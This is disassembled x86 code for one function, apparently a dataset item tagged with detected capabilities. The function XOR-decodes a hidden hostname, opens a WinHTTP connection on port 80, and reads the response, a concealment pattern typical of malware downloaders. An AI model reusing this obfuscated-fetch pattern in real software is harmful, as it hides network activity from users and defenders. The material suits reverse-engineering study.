Function at 0x401d60
Capabilities:
Encode data using xor
Get number of processors
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push 0xffffffffffffffff
push 0x408840
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
mov al, byte [esp + 0x74]
push ebx
push ebp
push esi
push edi
mov byte [esp + 0x24], al
mov edi, 0x40db10
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov ebp, ecx
lea ecx, [esp + 0x28]
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401a10
test al, al
je 0x401dda
mov edi, dword [esp + 0x28]
mov ecx, ebp
mov edx, ecx
mov esi, 0x40db10
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
call fcn.004019f0
push ebx
push ebx
push ebx
push ebx
push 0x40b194
mov dword [esp + 0x90], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], ebx
xor ebp, ebp
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x14], edi
je 0x402097
push 0x3938700
push 0x3938700
push 0x3938700
push 0x3938700
push edi
mov dword [esp + 0x2c], 4
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
push ecx
push 3
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
test eax, eax
je 0x401e52
mov edx, dword [esp + 0x20]
push edx
push 0x40b178
jmp 0x401e5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b154
call fcn.004025d2
mov eax, 0x1246
mov esi, 0x125b
mov word [esp + 0x46], ax
mov word [esp + 0x4a], ax
mov eax, 0x125d
mov edx, 0x121a
mov ecx, 0x1259
add esp, 8
mov word [esp + 0x44], ax
mov word [esp + 0x48], ax
mov word [esp + 0x34], 0x1250
mov word [esp + 0x36], si
mov word [esp + 0x38], 0x1243
mov word [esp + 0x3a], 0x125a
mov word [esp + 0x3c], dx
mov word [esp + 0x40], cx
mov word [esp + 0x46], 0x1258
mov word [esp + 0x4a], dx
mov word [esp + 0x4c], 0x1257
mov word [esp + 0x4e], si
mov word [esp + 0x50], cx
xor eax, eax
mov cx, word [esp + eax + 0x34]
add eax, 2
xor cx, 0x1234
cmp eax, 0x1e
mov word [esp + eax + 0x52], cx
jl 0x401ed6
push ebx
lea edx, [esp + 0x58]
push 0x50
push edx
push edi
mov word [esp + 0x82], bx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
cmp eax, ebx
mov dword [esp + 0x18], eax
je 0x402097
push pe_nt_image_headers32
push ebx
push ebx
push ebx
push 0x40b134
push 0x40b12c
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebp, eax
cmp ebp, ebx
je 0x402097
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp eax, ebx
je 0x402097
push ebx
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
cmp eax, ebx
je 0x402097
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], ebx
push ecx
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x402072
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4020b1
inc eax
push eax
call fcn.004025c4
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x402088
mov edx, dword [esp + 0x10]
xor eax, eax
mov edi, esi
lea ecx, [edx + 1]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ecx
push esi
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x401fd5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b10c
call fcn.004025d2
add esp, 8
jmp 0x40203f
push esi
push 0x40b108
call fcn.004025d2
lea edx, [esp + 0x2c]
push esi
lea eax, [esp + 0x40]
push edx
push eax
call fcn.00402150
add esp, 0x14
mov ecx, dword [0x40910c]
mov byte [esp + 0x7c], 1
push ecx
push ebx
push eax
lea ecx, [esp + 0x30]
call fcn.004017a0
mov eax, dword [esp + 0x38]
mov byte [esp + 0x7c], bl
cmp eax, ebx
je 0x402033
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x40202a
cmp al, 0xff
je 0x40202a
dec al
mov byte [ecx], al
jmp 0x402033
push ecx
call fcn.004025b9
add esp, 4
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
push esi
call fcn.004025b9
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, ebx
je 0x4020ad
cmp dword [esp + 0x10], ebx
jbe 0x4020ad
lea edx, [esp + 0x10]
mov dword [esp + 0x10], ebx
push edx
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x401f70
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b0e0
call fcn.004025d2
add esp, 8
jmp 0x4020b1
push 0x40b0d0
call fcn.004025d2
add esp, 4
jmp 0x4020b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40b0b8
call fcn.004025d2
add esp, 8
jmp 0x4020b1
mov edi, dword [esp + 0x14]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp ebp, ebx
je 0x4020be
push ebp
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x4020c9
push eax
call esi
cmp edi, ebx
je 0x4020d0
push edi
call esi
mov esi, dword [esp + 0x84]
mov al, byte [esp + 0x24]
lea edx, [esp + 0x24]
mov byte [esi], al
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [0x40910c]
push ecx
push ebx
push edx
mov ecx, esi
call fcn.004017a0
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x402131
mov al, byte [ecx - 1]
cmp al, bl
je 0x402127
cmp al, 0xff
je 0x402127
dec al
pop edi
mov byte [ecx - 1], al
mov eax, esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret
dec ecx
push ecx
call fcn.004025b9
add esp, 4
mov ecx, dword [esp + 0x74]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x70
ret